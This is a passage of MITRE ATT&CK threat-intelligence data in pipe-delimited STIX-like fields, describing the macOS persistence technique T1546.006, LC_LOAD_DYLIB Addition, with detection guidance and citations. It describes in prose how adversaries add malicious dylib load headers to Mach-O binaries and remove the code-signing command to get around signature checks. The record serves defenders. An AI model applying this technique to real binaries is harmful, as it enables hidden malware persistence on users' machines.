When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"Containers",
"macOS"
] | 2.4 |
attack-pattern | attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T14:21:52.750000" | "2022-04-20T17:08:21.101000" | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.
Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/006"
},
{
"description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "Malware Persistence on OS X",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "Writing Bad Malware for OSX",
"url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
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